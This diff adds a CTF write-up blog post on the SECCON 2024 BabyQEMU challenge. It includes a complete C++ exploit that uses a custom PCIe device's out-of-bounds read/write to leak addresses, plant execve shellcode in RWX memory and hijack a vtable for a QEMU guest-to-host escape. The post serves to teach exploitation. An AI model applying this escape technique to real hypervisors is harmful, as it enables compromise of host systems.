Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions content/blog/seccon2024-babyqemu/CMakeLists.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
cmake_minimum_required(VERSION 3.15)
project(exploit CXX)

set(CMAKE_CXX_STANDARD 23)
set(CMAKE_CXX_STANDARD_REQUIRED TRUE)
set(CMAKE_EXE_LINKER_FLAGS "-static")


set(CMAKE_EXPORT_COMPILE_COMMANDS ON)

add_executable(${PROJECT_NAME} exploit.cc)
134 changes: 134 additions & 0 deletions content/blog/seccon2024-babyqemu/exploit.cc
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
#include <cstdint>
#include <cstdio>
#include <iostream>
#include <string>

using namespace std;

const uint64_t MMIO_BASE = 0xfebd2000;
const uint64_t MMIO_DATA = 0xfebd2000 + 8;
const uint64_t MMIO_OFFSET = 0xfebd2000;

uint32_t read_mmio(uintptr_t addr) {
std::string cmd = format("busybox devmem 0x{:x}", addr);
FILE *f = popen(cmd.c_str(), "r");

char buf[64];
fgets(buf, sizeof(buf), f);
pclose(f);

return strtol(buf, NULL, 16);
}

void write_mmio(uintptr_t addr, uint32_t val) {

std::string cmd = format("busybox devmem 0x{:x} w 0x{:x}", addr, val);
FILE *f = popen(cmd.c_str(), "r");

pclose(f);
}

uint32_t read_offset(intptr_t offset) {
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
write_mmio(MMIO_OFFSET + 4, offset >> 32);
return read_mmio(MMIO_DATA);
}

uint64_t read64_offset(intptr_t offset) {
uint64_t lb = read_offset(offset);
uint64_t hb = read_offset(offset + 4);

return lb | (hb << 32);
}

void write_offset(intptr_t offset, uint32_t val) {
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
write_mmio(MMIO_OFFSET + 4, offset >> 32);
write_mmio(MMIO_DATA, val);
}
void write64_offset(intptr_t offset, uint64_t val) {
write_offset(offset, val & 0xffffffff);
write_offset(offset + 4, val >> 32);
}

const uint64_t BINARY_LEAK_OFFSET = 0x7b44a0;
const uint64_t HEAP_OFFSET = 0x115f8f0;
const uint64_t BUF_HEAP_OFFSET = 0x11615c8;
const uint64_t MALLOC_GOT_OFFSET = 0x18e23f8;
const uint64_t MALLOC_OFFSET = 0xad640;
const uint64_t ENVIRON_OFFSET = 0x20ad58;
const uint64_t BIN_SH_OFFSET = 0x1445f0;
const uint64_t BULLSHIT_POINTER_OFFSET = -0x18a0;
const uint64_t THREAD_STACK_OFFSET = 3134928;
const uint64_t POP_RSP_OFFSET = 0x00000000005f5b3b;
const uint64_t RWX_HEAP_OFFSETT = 167168;
/*const uint64_t RWX_OFFSET = 0x8e0 + 0x1ed4000;*/
const uint64_t RWX_OFFSET = 0x8e0;
const uint64_t BSS_OFFSET = 0x19faf9c;
const uint64_t SHELLCODE_OFFSET = 0x100;
const unsigned char SHELLCODE[] = {
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184,
46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72,
137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5};

int main() {
uint64_t binary_leak = read64_offset(0x0130);
uint64_t binary_base = binary_leak - BINARY_LEAK_OFFSET;
cout << "BINARY BASE: " << format("0x{:x}", binary_base) << endl;
uint64_t heap_leak = read64_offset(0x0118);
uint64_t heap_base = heap_leak - HEAP_OFFSET;
cout << "HEAP LEAK: " << format("0x{:x}", heap_base) << endl;
uint64_t buf = heap_base + BUF_HEAP_OFFSET;

uint64_t malloc = read64_offset(binary_base + MALLOC_GOT_OFFSET - buf);
uint64_t libc_base = malloc - MALLOC_OFFSET;
cout << "LIBC_BASE: " << format("0x{:x}", libc_base) << endl;

uint64_t environ_data = read64_offset(libc_base + ENVIRON_OFFSET - buf);
cout << "STACK LEAK: " << format("0x{:x}", environ_data) << endl;

uint64_t thread_stack = read64_offset(heap_base + THREAD_STACK_OFFSET - buf);
cout << "THREAD STACK LEAK: " << format("0x{:x}", thread_stack) << endl;

/*write64_offset(thread_stack - 0x1b68 - buf + 8, 0xAAAAAAAAAAAAAAAA);*/
/*write_offset(thread_stack - 0x1b68 - buf,*/
/* (binary_base + POP_RSP_OFFSET) & 0xffffffff);*/
/*write_offset(0, 1);*/

uint64_t bullshit_pointer =
read64_offset(thread_stack + BULLSHIT_POINTER_OFFSET - buf);
cout << "BULLSHIT LEAK: " << format("0x{:x}", bullshit_pointer) << endl;
uint64_t rwx_leak = read64_offset(heap_base + RWX_HEAP_OFFSETT - buf);

uint64_t rwx_base = rwx_leak - RWX_OFFSET;
cout << "RWX AREA: " << format("0x{:x}", rwx_base) << endl;

for (int i = 0; i < sizeof(SHELLCODE); i += 4) {
printf("sw %i/%zu\n", i, sizeof(SHELLCODE));
write_offset(rwx_base + SHELLCODE_OFFSET - buf + i,
*(uint32_t *)(SHELLCODE + i));
}

const uint64_t to_write[] = {
0, 0, rwx_base + SHELLCODE_OFFSET, binary_base + 0x73c7d0,
/*0,*/
/*0x0000000800000001,*/
/*0,*/
/*binary_base + 0x73a520,*/
/*1,*/
/*0,*/
/*0,*/
/*0,*/
};

for (int i = 0; i < sizeof(to_write) / sizeof(to_write[0]); i++) {
printf("bw %i/%zu\n", i, sizeof(to_write) / sizeof(to_write[0]));
write64_offset(binary_base + BSS_OFFSET - buf + i * 8, to_write[i]);
}
puts("WRITTEN");
scanf("%*c");

write_offset(bullshit_pointer + 80 - buf,
(binary_base + BSS_OFFSET) & 0xffffffff);
read_offset(0);
}
133 changes: 133 additions & 0 deletions content/blog/seccon2024-babyqemu/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
---
params:
authors:
- name: falamous
social: https://t.me/falamous
links:
- name: channel
link: https://t.me/theinkyvoid
title: "Seccon Quals 2024 - BabyQEMU"
tldr: "simple qemu escape challenge"
date: "2024-11-24"
tags: [pwn]
summary: |
Given heap offset write and read in custom qemu pcie device obtain qemu escape.
---

# BabyQEMU

After solving a complicated rop challenge on Seccon quals, we came across this deceptively simple challenge, where the goal was to escape qemu through a custom pcie device. I had never solved hypervisor escape challenges prior and really am not a pwn guy, but I had a friend and thought it would be fun.

## Quick summary

We are given a modified qemu version with a custom pcie device that implements memory mapped io. It basically has 2 addresses: data and offset. Writting to offset address will change the offset in the device structure. Reading or writing from data will read or write at the offset from the buffer stored in the device structure. Pretty simple right?

```c
static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;

debug_printf("addr:%lx, size:%d\n", addr, size);

switch(addr){
case MMIO_GET_DATA:
debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
return *(uint64_t*)&ms->buffer[reg->offset];
}

return -1;
}

static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;

debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);

switch(addr){
case MMIO_SET_OFFSET:
reg->offset = val;
break;
case MMIO_SET_OFFSET+4:
reg->offset |= val << 32;
break;
case MMIO_SET_DATA:
debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
break;
}
}
```

## Interfacing with the device

Whats not so simple is actually interfacing with device. At first I tried to write a kernel module (which would have been the optimal solution), I won't bore you with the detail, suffice to say I tried everything and nothing worked. Then searching the wired I found that busybox (which is installed) in qemu has a devmem module that just so happens to allow us to read and write to/from memory mapped io. So I quickly tested that it worked, wrote some helper functions that would execute `busybox devmem`, then wrote more helper functions to write to an offset. I should note that for some reason devmem only allowed me to write 32 bits worth of data, so I also had to write functions to write 64 bit integers.

```c++
#include <cstdint>
#include <cstdio>
#include <iostream>
#include <string>

using namespace std;

const uint64_t MMIO_BASE = 0xfebd2000;
const uint64_t MMIO_DATA = 0xfebd2000 + 8;
const uint64_t MMIO_OFFSET = 0xfebd2000;

uint32_t read_mmio(uintptr_t addr) {
std::string cmd = format("busybox devmem 0x{:x}", addr);
FILE *f = popen(cmd.c_str(), "r");

char buf[64];
fgets(buf, sizeof(buf), f);
pclose(f);

return strtol(buf, NULL, 16);
}

void write_mmio(uintptr_t addr, uint32_t val) {

std::string cmd = format("busybox devmem 0x{:x} w 0x{:x}", addr, val);
FILE *f = popen(cmd.c_str(), "r");

pclose(f);
}

uint32_t read_offset(intptr_t offset) {
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
write_mmio(MMIO_OFFSET + 4, offset >> 32);
return read_mmio(MMIO_DATA);
}

uint64_t read64_offset(intptr_t offset) {
uint64_t lb = read_offset(offset);
uint64_t hb = read_offset(offset + 4);

return lb | (hb << 32);
}

void write_offset(intptr_t offset, uint32_t val) {
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
write_mmio(MMIO_OFFSET + 4, offset >> 32);
write_mmio(MMIO_DATA, val);
}
void write64_offset(intptr_t offset, uint64_t val) {
write_offset(offset, val & 0xffffffff);
write_offset(offset + 4, val >> 32);
}
```

## Leaking everything

The very first thing I did was telescope the heap address of the device structure, which yielded a heap and binary leak. Than by calculating the offset of got from buf I was able to leak libc base. Then from libc I was able to leak environ and thus the stack. That was the easy part. Unfortunately qemu had full relro and the stack of the mmio functions was some kind of thread stack. Also the sort of main device structure (separate from the custom part) was located in a strange region, which I was able to leak, but it had a different offset. So after a long time beating my head against a brick wall, it finally broke and I found a way to leak this strange structure pointer: I first leaked the thread stack from the heap and then the structure address from the stack. The reason I was looking for that pointer was that a function was called from a vtable without checking for the vtable region. The vtable itself was ro, but we could construct a custom vtable and point the vtable pointer to it. I also miraculously discovered an rwx region, which I also leak from the heap.

![vtable](vtable.png)

## Solving the challenge

Now all I had to was write shellcode to the rwx region, create a custom vtable pointing to the shellcode and overwrite the vtable in the structure. For some reason qemu kept crashing if I wrote to mmio too many times, so I had to shorten the vtable and the shellcode from reverse shell to `execve("/bin/sh", NULL, NULL)`, but the challenge was solved

## Conclusion

Overall quite a simple challenge, but it took me an unbelievably long time to solve. You can find the exploit [here](exploit.cc).
Binary file added content/blog/seccon2024-babyqemu/libc.so.6
Binary file not shown.
81 changes: 81 additions & 0 deletions content/blog/seccon2024-babyqemu/src/qemu-9.1.0/hw/char/Kconfig
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
config ESCC
bool

config HTIF
bool

config PARALLEL
bool
default y
depends on ISA_BUS

config PL011
bool

config SERIAL
bool

config SERIAL_ISA
bool
default y
depends on ISA_BUS
select SERIAL

config SERIAL_PCI
bool
default y if PCI_DEVICES
depends on PCI
select SERIAL

config SERIAL_PCI_MULTI
bool
default y if PCI_DEVICES
depends on PCI
select SERIAL

config VIRTIO_SERIAL
bool
default y
depends on VIRTIO

config STM32F2XX_USART
bool

config STM32L4X5_USART
bool

config CMSDK_APB_UART
bool

config SCLPCONSOLE
bool

config TERMINAL3270
bool

config SH_SCI
bool

config RENESAS_SCI
bool

config AVR_USART
bool

config MCHP_PFSOC_MMUART
bool
select SERIAL

config SIFIVE_UART
bool

config GOLDFISH_TTY
bool

config SHAKTI_UART
bool

config BABY
bool
default y if PCI_DEVICES
depends on PCI
Loading